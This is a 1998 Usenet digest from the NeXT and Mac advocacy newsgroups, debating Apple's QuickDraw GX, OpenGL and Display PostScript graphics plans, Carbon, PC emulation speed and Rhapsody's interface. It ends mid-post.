ratio relatively. I didn't run any tests, this is just my subjective
opinion on performance. I did some big picture loads in Photoshop,
window drags (monster yanks), some file copying. Typical crapola
like that. Just my impression, not any indepth kind of bench marks,
that's why I put in the YMMV.
> with room to compete on price later.. I'm not too keen on paying
> 2K for a G3 now when my nose says prices are set to drop in the
> next 6 months. I'm also not buying on speculation. The reason
From your lips to apple's ears. I hope they dump the price to a
competitive level on a system wide price/performance basis. I
don't mind paying a little more for apple stuff, but not the huge
premium they are now collecting. On the other hand, if they are
simply the apple loyal, why bother, they know they can command
"100%" (based on your suspicion, I don't think it's quite that
high) markups from an appologist BOZO group; why not reap that
market.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 03:25:16 GMT
Organization: Digital Fix Development
Message-ID: <6kt6us$sd$1@news.digifix.com>
References: <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133>
In-Reply-To: <B196C2E5-5109F@206.165.43.133>
On 05/31/98, "Lawson English" wrote:
>
>A light dawns. The reason why NeXT, er, Apple, and all NeXT, er,
MacOS X,
>developers don't like editable 3D perspective text is...
>
>POSTSCRIPT DOESN'T HANDLE IT.
>
>GX does.
>
You're, once again, full of shit.
My problems with GX are that it was so late that we had to
leave the platform.
Right now is is so bloated that it isn't even documented in a
managable format. 500 pages of docs for the typography alone is way
overkill.
Oh, did I mention that my application that I'm talking about
was on MacOS?
<snip>
>
>OTOH, I'm willing to bet that Scot Anguish's 3D perspective text
solution
>not only can't be edited, but you can't even tell, programmatically,
what
>the original text was, when he saves it to an EPS file, unless he
uses his
>own, private, non-standard comments to record the original text.
You'd loose. I stored my data in a data format, not in an EPS
file. And of course moving the data to another application wouldn't
help with the task at hand, since the output techniques were crucial
to the application itself.
>In other words, Apple has deliberately crippled the built-in graphics
>capabilities of the Mac to be no better than what Adobe allows.
>
>Shame, Apple.
>
>Shame, shame, shame.
>
Bullshit Lawson
Bullshit, Bullshit, Bullshit.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer,comp.sys.mac.advocacy,comp.sys.mac.programmer
Subject: Re: How mature is Carbon?
Date: Mon, 01 Jun 1998 01:11:42 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-0106980111430001@mv131.axom.com>
References: <01bd8cc5$31a42990$04387880@test1> <forrestDELETE-THIS!-3105981358070001@term1-10.vta.west.net>
In article <forrestDELETE-THIS!-3105981358070001@term1-10.vta.west.net>,
forrestDELETE-THIS!@west.net (Forrest Cameranesi) wrote:
>Carbon is merely a subset of the Mac Toolbox, around 6000 calls (2000 less
>than the current Toolbox). While it's true that Apple has not set in stone
>exactly which of the Toolbox calls will be in Carbon, they have a general
>idea, and so Adobe could simply tune Photoshop not to use the calls that
>are certainly not going to be in Carbon, or to only use that calls that
>are certainly gonna be in Carbon, and viola - Carbon app. I'm not sure
>which OS it was running on (I wasn't at WWDC), but I'd bet it was on the
>current MacOS 8.1 (or possibly an 8.5 beta). That would not preclude it
>from being a Carbon app, because Carbon apps run unmodified on the current
>MacOS, just without all the modern buzzwords. Chances are that some apps
>are already 100% Carbon-ready, although those chances are rather slim
>(MacOS Rumors has some Carbon-dating specs on a few major apps). However,
>I've heard that it was running on Rhapsody, which could either be in the
>Blue Box or they might have already got a true Carbon "box" running (I
>know, old nomenclature, but I can't think of any other way of stating it).
I wasn't at the WWDC either, but from what I remember reading, Carbon
Photoshop was demoed on Rhapsody, not OS 8.
--
Ted Brown tbrown@netset.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: It would be nice to o
References: <8F01019.09B6000194.uuout@relaynet.org>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35722519.0@206.25.228.5>
Date: 1 Jun 98 03:50:49 GMT
sheppard.gordon@relaynet.org (SHEPPARD GORDON) wrote:
> VPC ran Windows95 at the speed of a 75MHz Pentium, emulating a
> P2 with Matrox and SoundBlaster cards. Thus, most typical PC
> productivity software runs at acceptable speeds under emulation.
> Given that 400MHz G3s (and more) are a only few months away, it's
> safe to say that quite acceptable emulation -- in terms of speed
> and compatability for most programs and most OSes -- are well
> within reach.
That would make for a 113Mhz Pentium speed? I guess it depends on
the software you need to run. Quake 2 needs a 133mhz pentium (I
believe that's the recommendation, higher is better). Voice dictation
software needs 166mhz or better. Also, although VPC is *REALLY*
good stuff, it's not perfect emulation; I believe some software
that does 3d stuff will not run as advertised or as well as one
would like. The point being is that emulators are great solutions
for many problems, but hardly a panacea.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sun, 31 May 1998 21:20:53 +0100
Organization: EarthLink Network, Inc.
Message-ID: <3571BAE7.3C19@earthlink.net>
References: <slrn6n3g2r.ac1.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <1998060100024100.UAA15115@ladder03.news.aol.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
We can dream can't we?
WillAdams wrote:
> I'd also like to see a software box from Apple which bundled the NeXT interface
> and all the stuff which they'd otherwise leave out.
> i.e. TeX
Steve
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 01 Jun 1998 05:22:59 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35723AB3.DA8ED887@nstar.net>
References: <1d9w7hy.g52x5itps8sgN@cetus164.wco.com> <B1976019-6328E@206.165.43.9>
Mime-Version: 1.0
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NNTP-Posting-Date: 1 Jun 1998 05:27:50 GMT
Lawson English wrote:
[cut]
> Sounds great.
Sounds better than 'great'. What Mike describes is entirely Correct from
any perspective (no pun intended). GX isn't a robust solution for
general-purpose 3D, whatever its merits.
> >Heck, I'd even be happy if a simple stroked line honored the perspective
> >I waas trying to set up, and actually 'narrowed' as it got farther from
> >the camera position.
>
> I've no doubt that YOU would. You like devising high-end graphics engines.
>
> But what about Apple management? At this point, we have GX, which is
> technically superior to anything else currently available (IMHO) for 2D and
> a total marketing failure.
>
> Are you implying that we will get a true 4x3/4x4 matrix for 2D graphics in
> the Yellow Box, or are you simply stating what YOU would like to do in an
> ideal world?
You're correct to criticize Apple politics, but from a technical
perspective (the important issue at hand, I think), if Apple is planning
to develop an imaging model that can be integrated in the short-term
with the capabilities of OpenGL, I think your objections can easily be
laid to rest. OpenGL is scalable and robust, meaning that simple and
complex imaging alike can be developed in ridiculously short order. You
can't criticize Mike for thinking of high-end features in designing an
API; that's exactly what he should be doing. OpenGL fulfills these
needs, and it answers your needs for matrix-based 2D graphics as well.
Plans to embrace and integrate OpenGL with the extended Quickdraw APIs
would be a fantastic move for Apple.
> I don't think that we live in an ideal world. Without some indication that
> we WILL get a better solution for editing 3D perspective text ala what GX
> can do and what Illustrator/Freehand can *almost* do, I'm going to assume
> that when we lose the various unique capabilities of GX, we won't get them
> back.
You'd get them back if Apple would put people like Mike Paquette to work
on an OpenGL/Quickdraw solution. For all I know, that's exactly what
they're doing. You'd have to wait for a GX solution, anyway; I think
it's best to watch and wait for the (superior) OpenGL solution I think
Apple is considering.
> We didn't get an OpenDoc/Cyberdog solution for YB, did we?
>
> Why should I expect better from Apple on the graphics side?
It's hard to be hopeful, but things are really different this year.
Apple has a lot of opportunities, and it's so hard to imagine them
screwing up imaging. I really don't think they will. While it's
something of a step backward to drop DPS language support in some ways,
it leaves the door open for three steps forward.
I just hope Apple listening to the remarks on remotability, for
instance. There is a lot that Apple can do to make people happy.
MJP
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 01 Jun 1998 01:49:28 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0106980149300001@192.168.0.3>
References: <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com>
In article <6kqmcc$3k6$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
: How many programs on the Mac even NEED
:Freehand/Pagemaker-level graphics editing capabilities?
Hmmm, just about every 3D app I know of has had to implement some form
of Freehand/Illustrator-like drawing tools. Also let's not forget
animation apps which need to keep track of paths and titles. These
developers are not making 2D illustration apps, why should they all have
to write similar 2D illustration code?
Wouldn't it be nice to have a common set of high-level vector editing
tools and UI elements available to all apps? The yellow box would be a
wonderful place for such a thing, but it's just not in Apple's game plan
anymore. Without Apple's support, no third-party solution is ever going to
really gain much popularity.
: Sorry, but you can't convince me that Apple spending precious
:resources writing a bloated, over-featured and years late replacement
:for QuickDraw that does all this when they really needed basic
:line-drawing capabilities that Classic Quickdraw never had, was ever
:money well spent.
I'm sorry, you can't convince me that it's worth Apple's time and money
to develop yet ANOTHER 2D graphics toolkit. Let's see they've done GX's,
Taligent's, and QTML's. Is this new PDF system really adding *any* new
features that aren't in or couldn't easily be added to those other APIs?
As far as I can tell, no.
: Editing Perspectivized Text in place is a perfect example of
:wasted effort...
It's not about effort, it's about design. Supporting perspective
editing as opposed to just rotated, scaled, or skewed text is *easy* to
implement. It's just an extra column in a matrix to keep track of, and
some minor changes to the PDF output code.
:This when what we needed was the ability to draw a
:real line with proper miters.
And now that Apple has plenty of code lying around that does this and
more, you're advocating them develop something new that does the exact
same thing?
-Eric
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: It would be nice to o
Date: Mon, 01 Jun 1998 05:28:25 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35723BF9.F4C89D93@nstar.net>
References: <8F01019.09B6000194.uuout@relaynet.org> <35722519.0@206.25.228.5>
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NNTP-Posting-Date: 1 Jun 1998 05:33:13 GMT
John Kheit wrote:
> That would make for a 113Mhz Pentium speed?
Probably faster.
> I guess it depends on
> the software you need to run. Quake 2 needs a 133mhz pentium (I
> believe that's the recommendation, higher is better).
Games aren't good candidates for emulation. However, Voodoo-based cards
are transparently usable between PC and Mac platforms with the new Conix
driver support, so I think that Voodoo-accelerated Macs would be able to
run Quake 2 rather well. Hardware can help close the emulation gap in a
lot of ways.
> Voice dictation
> software needs 166mhz or better.
This is the sort of thing that would benefit quite well from AltiVec,
no? Perhaps cleverly-written emulators can make use of AltiVec to
accelerate such signal-processing applications to close the gap.
> Also, although VPC is *REALLY*
> good stuff, it's not perfect emulation; I believe some software
> that does 3d stuff will not run as advertised or as well as one
> would like. The point being is that emulators are great solutions
> for many problems, but hardly a panacea.
I think you're right, but it's not as bad as all that. You're really
talking about exceptions rather than the rule, and those exceptions are
being given a lot of attention.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 01 Jun 1998 06:52:48 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35724FC0.38B15F5C@nstar.net>
References: <35723AB3.DA8ED887@nstar.net> <B1979B48-EF8A@206.165.43.180>
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NNTP-Posting-Date: 1 Jun 1998 06:57:38 GMT
Lawson English wrote:
>
> Michael J. Peck <mjpeck@nstar.net> said:
>
> >
> >Sounds better than 'great'. What Mike describes is entirely Correct from
> >any perspective (no pun intended). GX isn't a robust solution for
> >general-purpose 3D, whatever its merits.
>
> Never meant to suggest that it was. But there's an issue of scalability
> here, I think. GX provides all sorts of high-end 2D DTP features, including
> a limited 3D perspective. Will the proposed integration of 2D and 3D allow
> one to continue producing editable text with limited 3D perspective inside
> a Freehand/Pagemaker app, or is this suitable for a high-end 3D app or
> what?
I don't know, I'm not in charge of the integration. If you're asking
whether it's possible/feasible and likely to be correct, I can say that
yes, it absolutely is. OpenGL's capabilities are very scalable, and
given a good integration solution, they can provide the ability to any
app to easily access the features you describe. They can also give every
app using the proposed, integrated API the ability to benefit from
hardware acceleration automatically and transparently. Apple could quite
easily design a text API as an extension to OpenGL (good motive for
Apple membership in the ARB) that would give you approximately what you
have in GX with as little pain as possible, and significant benefits
besides.
I don't think you can really make an argument for limited capabilities
on the basis of scalability or ease of use. There is no reason to
believe that Apple cannot provide robust solutions for both 2D and 3D as
well as give those solutions excellent and accessible high-level APIs. I
think that that is what Mike means to say (and do).
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
From: Pixel <plearnes@midway.uchicago.edu>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <EtuyGM.LCH@midway.uchicago.edu>
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References: <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com>
Date: Mon, 1 Jun 1998 05:41:09 GMT
I might have got some attributions wrong, but the message at the end is
worth it.
In comp.sys.next.advocacy T. Max Devlin <mdevlin@eltrax.com> wrote:
> rfelts@. (Roger), on Thu, 28 May 1998 20:15:09 GMT,
>>On Tue, 26 May 1998 21:23:23 GMT, someone claiming to be T. Max Devlin
>>wrote:
>>
>>>dpetticord@hotmail.com, on Sat, 23 May 1998 16:57:41 GMT,
>>>>Microsoft may be guilty of a lot of things, but I believe they are better
>>>>than most in giving equal access to "any interested app developer". For
>>>>a nominal fee anyone can sign up for the MS Developer Network. This
>>>>gives you all the latest developer kits, knowledge bases and Beta releases.
>>>>
>>>>The biggest exception to that would be any special treatment they give to
>>>>their own developers that they do not put in the MSDN.
>>
>>>Bingo! So much for equal access to any interested app developer. Don't
>>>you see, until you realize that MS apps developers should never have
>>>more access than other app developers, the situation is entirely
>>>anti-competitive.
>>
>>Okay, and do either you have proof that MS developers routinely get
>>"special treatment?"
> Yes. I suppose now you expect me to document that proof for you. Who
> is going to pay my expenses? You want us to pay Microsoft's, why
> wouldn't you be willing to pay for mine to provide you this "proof".
I'll give you (leads on) proof for free. :)
> There is documentation supporting the fact that the "chinese wall" that
> Microsoft insisted existed (to convince app developers to support their
> Windows OS, since an OS without apps is not a market favorite) was, in
> fact, merely a ruse to get third party developers to build enough
> installed base for Windows that Microsoft could gain the monopoly powers
> they are currently exploiting to take over the various app markets.
My favorite documentation of the nonexistence of the 'chinese wall' is
Steve Ballmer's own confession that the wall never existed at all. I
forgot where exactly I read it, unfortunately.
Besides that confession, there are also the 'hidden OS API's' that
Microsoft developers by some strange reason get long before third party
developers get them. For example, when Internet Explorer 3.0 first came
out, and it was rated as faster than Netscape Navigator, it was found out
that MS had built in API's to make Internet Explorer faster directly into
Windows 95. And they neglected to let anyone else know about it. Big
surprise.
In addition, back when MS Office didn't have a stranglehold over everyone,
and MS still insisted that there was a 'chinese wall', API's were built
into Windows to help MS productivity apps that were not released to third
party developers.
All of this is documented by Microsoft and various other third parties.
--
Yours,
Pixel
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 1 Jun 1998 05:51:18 GMT
Organization: Digital Fix Development
Message-ID: <6ktfgm$3ic$1@news.digifix.com>
References: <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <rex-0106980149300001@192.168.0.3>
In-Reply-To: <rex-0106980149300001@192.168.0.3>
On 05/31/98, Eric King wrote:
>In article <6kqmcc$3k6$1@news.digifix.com>, sanguish@digifix.com
(Scott
>Anguish) wrote:
>
>: How many programs on the Mac even NEED
>:Freehand/Pagemaker-level graphics editing capabilities?
>
> Hmmm, just about every 3D app I know of has had to implement some
form
>of Freehand/Illustrator-like drawing tools. Also let's not forget
>animation apps which need to keep track of paths and titles. These
>developers are not making 2D illustration apps, why should they all
have
>to write similar 2D illustration code?
How useful would it be to use GX for this instead of having
the appropraite APIs in QuickTime?
> Wouldn't it be nice to have a common set of high-level vector
editing
>tools and UI elements available to all apps? The yellow box would be
a
>wonderful place for such a thing, but it's just not in Apple's game
plan
>anymore. Without Apple's support, no third-party solution is ever
going to
>really gain much popularity.
Certainly I believe that this is the case, but I don't believe
that GX is the solution.
>
>: Sorry, but you can't convince me that Apple spending
precious
>:resources writing a bloated, over-featured and years late
replacement
>:for QuickDraw that does all this when they really needed basic
>:line-drawing capabilities that Classic Quickdraw never had, was ever
>:money well spent.
>
> I'm sorry, you can't convince me that it's worth Apple's time and
money
>to develop yet ANOTHER 2D graphics toolkit.
They have all the primitives to work with, they just need to
pull out the pieces.
GX failed even on the Mac, but certainly there is code in
there that is retrievable.
And why do I think that it'll take less time to do that than
implement GX?
Is GX even thread safe?
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 23:39:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1979A5C-B805@206.165.43.180>
References: <6kt71m$se$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Scott Anguish <sanguish@digifix.com> said:
> If they gave you all that and most developers STILL ignored
>it, what do you expect them to give developers to make it more
>attractive?
>
A system with stability when a user installed GX for the first time? MS and
Adobe never followed the rules for GX. Whether this was deliberate or not
is left for the reader to determine, but I'd like to point out that Word
4.0 worked just fine under GX, but Word 5.1 broke (4.0 came out before GX,
but 5.1 came out after).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 31 May 1998 23:42:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1979B48-EF8A@206.165.43.180>
References: <35723AB3.DA8ED887@nstar.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Michael J. Peck <mjpeck@nstar.net> said:
>
>Sounds better than 'great'. What Mike describes is entirely Correct from
>any perspective (no pun intended). GX isn't a robust solution for
>general-purpose 3D, whatever its merits.
Never meant to suggest that it was. But there's an issue of scalability
here, I think. GX provides all sorts of high-end 2D DTP features, including
a limited 3D perspective. Will the proposed integration of 2D and 3D allow
one to continue producing editable text with limited 3D perspective inside
a Freehand/Pagemaker app, or is this suitable for a high-end 3D app or
what?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep for Windoze $20?
Date: 29 May 98 15:50:15
Organization: Is a sign of weakness
Message-ID: <SCOTT.98May29155015@slave.doubleu.com>
References: <6jboq5$eua$9@news.idiom.com> <6jchqg$1cc$21@ironhorse.plsys.co.uk>
<slrn6ljskk.p80.sal@panix3.panix.com>
<3559F5D4.96E43F72@unet.univie.ac.at>
<slrn6lkdcp.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<6jdenk$53h$3@news.xmission.com> <355af7e5.0@206.25.228.5>
<355B49C0.10D34097@unet.univie.ac.at> <355b5409.0@206.25.228.5>
<6jfkuq$gn2$1@cronkite.cygnus.com> <355B6B90.AD8F648F@milestonerdl.com>
<SCOTT.98May21114105@slave.doubleu.com> <6k2hgk$6dg$9@blue.hex.net>
In-reply-to: cbbrowne@news.hex.net's message of 22 May 1998 00:39:48 GMT
In article <6k2hgk$6dg$9@blue.hex.net>,
cbbrowne@news.hex.net (Christopher Browne) writes:
On 21 May 98 11:41:05, Scott Hess <scott@doubleu.com> wrote:
>If Apple invested a couple people and brought DGS up to the speed
>they want, and distributed it for free, it's not a big deal.
The problem that exists with this is that DGS is probably being
distributed under the GPL. (The "probably" qualifier because I haven't
checked this against the sources lately.)
[Part about daemon vs in-program omitted.]
That's why shared libraries were invented. So long as _all_ of the
DGS stuff is in a shared library and not in the programs using the
shared library, the GPL is adhered to.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 01 Jun 1998 04:54:50 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-0106980454500001@192.168.0.3>
References: <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <rex-0106980149300001@192.168.0.3> <6ktfgm$3ic$1@news.digifix.com>
In article <6ktfgm$3ic$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
: How useful would it be to use GX for this instead of having
:the appropraite APIs in QuickTime?
Well for one, Quicktime really only knows how to draw shapes. Its tools
for creating and working with them are *woefully* deficient. In fact, the
suggested way of creating shapes for QTML is to use GX. It's just a *lot*
easier. Hell, the QTML vector toolkit docs. are literally ripped straight
from the GX manuals. QTML's vector API was designed to be used in
conjunction with GX, take GX away and it becomes a lot harder to support.
: Certainly I believe that this is the case, but I don't believe
:that GX is the solution.
GX is probably 85% of a solution. That's a lot better than the close to
0%, Apple's working with.
:> I'm sorry, you can't convince me that it's worth Apple's time and
:money
:>to develop yet ANOTHER 2D graphics toolkit.
:
: They have all the primitives to work with, they just need to
:pull out the pieces.
Actually, no, they don't. GX and QTML both use quadratic beziers and
Taligent used NURBS. DPS, whose code they can't use, and PDF use cubic
Beziers, so no Apple doesn't have all of the primitives to work with,
they're going to have to reimplement them. My guess is they're just
mapping everything to DPS for now, while a separate team is working on the
new engine. To be honest, it all just seems like a desperate hack to me.
: GX failed even on the Mac, but certainly there is code in
:there that is retrievable.
GX never had a chance with Apple's mismanagement. The line layout code
that they've chosen to retrieve is being placed in the new unified text
services, while it does bring better text-handling abilities to Mac OS
users, it's leaving out lots of the capabilities present when that code
had the rest of GX Graphics around it.
: And why do I think that it'll take less time to do that than
:implement GX?
And why do I think it's going to do a hell of a lot less. Remember
Apple's in damage control mode now, they're not going to be able to add
anything particularly flashy to this toolkit.
: Is GX even thread safe?
In its current implementation, no, but then again, neither is the
Appkit, and when I brought this topic up a year or so ago, you all
proclaimed that it wasn't really necessary and that DPS' internal
cooperative threading was good enough. GX works just fine with cooperative
threads too ;)
However, GX's memory management was built around client heaps, which
only really make sense in the context of multithreaded apps, i.e. an app
could have multiple client heaps, but why bother if it was single
threaded? Objects in one client heap could not be accessed by objects in
another client heap. Since GX stored just about all of a scene's state in
those objects you don't have to worry about multiple threads stomping on
each others globals. Most GX calls would need to have an extra client-heap
argument attached to them in order to be thread safe (not unlike the
enhanced QD API), and GX would need to be moved to the modern
pointer-based Collection Manager Apple developed for Copland. In short,
the modifications would probably be pretty relatively minor. Much less
work than trying to create a new library from scratch. Also, Taligent's 2D
classes were thread safe.
The GX engineers made some pretty strong arguments for GX over DPS, but
Apple still chose to go with DPS and look where it has gotten them...
-Eric
From: rene limberger <rene.limberger@student.uni-halle.de>
Newsgroups: comp.sys.next.advocacy
Subject: NEXTSTEP/OpenStep on SGI?
Date: Mon, 01 Jun 1998 03:01:56 -0700
Organization: ---
Message-ID: <35727C13.1BDDD2CD@student.uni-halle.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Hi!
I am totaly new to next.
Is next/openstep available for sgi hardware?
For what hardware is it available?
Where can i find good information about this OS?
(screenshots?)
Thanks in advance
Rene
--
***************************************
* Renè Limberger *
* rene.limberger@student.uni-halle.de *
***************************************
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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Control: cancel <F0YZQdUj9GA.172@cidintnews.infosel.com.mx>
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From: Axel Habermann <kiwi@saljut.fb10.tu-berlin.de>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 1 Jun 1998 13:07:03 GMT
Organization: Technical University Berlin, Germany
Message-ID: <6ku91n$2uu$1@mamenchi.zrz.TU-Berlin.DE>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> <6ke66b$d5n$11@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: In <6k8hvm$d4k$1@mamenchi.zrz.TU-Berlin.DE> Axel Habermann wrote:
: > My comments about DR2:
: >
: > - The tear off menus suck, because you can only tear off the first level.
: >
: Umm, not so -- you can tear off any menus, including the menubar (although
: sadly the menu bar is left in place).
: > - The tear off menus suck, because I always tear them off inadvertedly when
: > trying to leave the menu.
: >
: To be honest I'm surprised by this -- I have the opposite experience, I
: sometimes find it difficult to tear off a menu.
Hmmm. On the 8500/120 I used, I ended up with a torn off top level
menu 20 times, when I wanted it maybe once. I never managed to tear off
a submenu. Maybe I'm doing something wrong, but this indicates for me that
the UI-design for this action is faulty. On NeXT it was _easy_ to tear
off a menu when you wanted it to be torn off and it was easy to avoid
doing it.
What I find positive about the new menu is, that the menubar _is_ really
nice for low resolution screens.
--
Axel Habermann
kiwi@buran.fb10.tu-berlin.de Fon:+49 30 45478986
Die Dateien, in denen die Programmdokumentation enthalten ist,
haben normalerweise die Endung ".m"
From: Axel Habermann <kiwi@saljut.fb10.tu-berlin.de>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
Date: 1 Jun 1998 13:12:17 GMT
Organization: Technical University Berlin, Germany
Message-ID: <6ku9bh$2uu$2@mamenchi.zrz.TU-Berlin.DE>
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
[...]
: So overall some wins, some losses. I need to use DR2 longer in anger to get
: a real feel for how the two compare, but for now I'm fairly happy.
I have to agree with your points. Some lost functionality
might in the future be substituted by a third party app.
I'd like to have something which is always on top (or appears
on top when hitting a corner of the screen), where all active
applications are shown to be able to switch between them more
easily - but if the Workspace-API is done right, this should
be no problem. If nobody else does, I'll write my own...
--
Axel Habermann
kiwi@buran.fb10.tu-berlin.de Fon:+49 30 45478986
Die Dateien, in denen die Programmdokumentation enthalten ist,
haben normalerweise die Endung ".m"
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: Mon, 01 Jun 1998 09:49:01 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-0106980949020001@chestnut1-22.slip.netaxs.com>
References: <6kqm3r$3k2$1@news.digifix.com> <B196579A-45E28@206.165.43.17> <6kt75g$sf$1@news.digifix.com>
Mail-Copies-To: jayfar@netaxs.com
In article <6kt75g$sf$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
| On 05/30/98, "Lawson English" wrote:
| >Scott Anguish <sanguish@digifix.com> said:
| >
| >>
| >> No, but it was able to do the perspective type text that
| >>companies like Reebok and other high profile graphics companies
| needed
| >>for their work. The didn't care about doing editing perspectivized
| >>text in-place. They just wanted make t-shirts for piddly little
| >>things like World Series Championships and such..
| >
| >Yar, but they didn't want to write cute letters to their friends or
| make
| >cheapo posters without paying an arm and a leg for the privledge of
| doing
| >something that is built into GX and hence available in every Mac
| built in
| >the 90's.
| >
|
| Gee Lawson, correct me if I'm wrong, were there not cheap
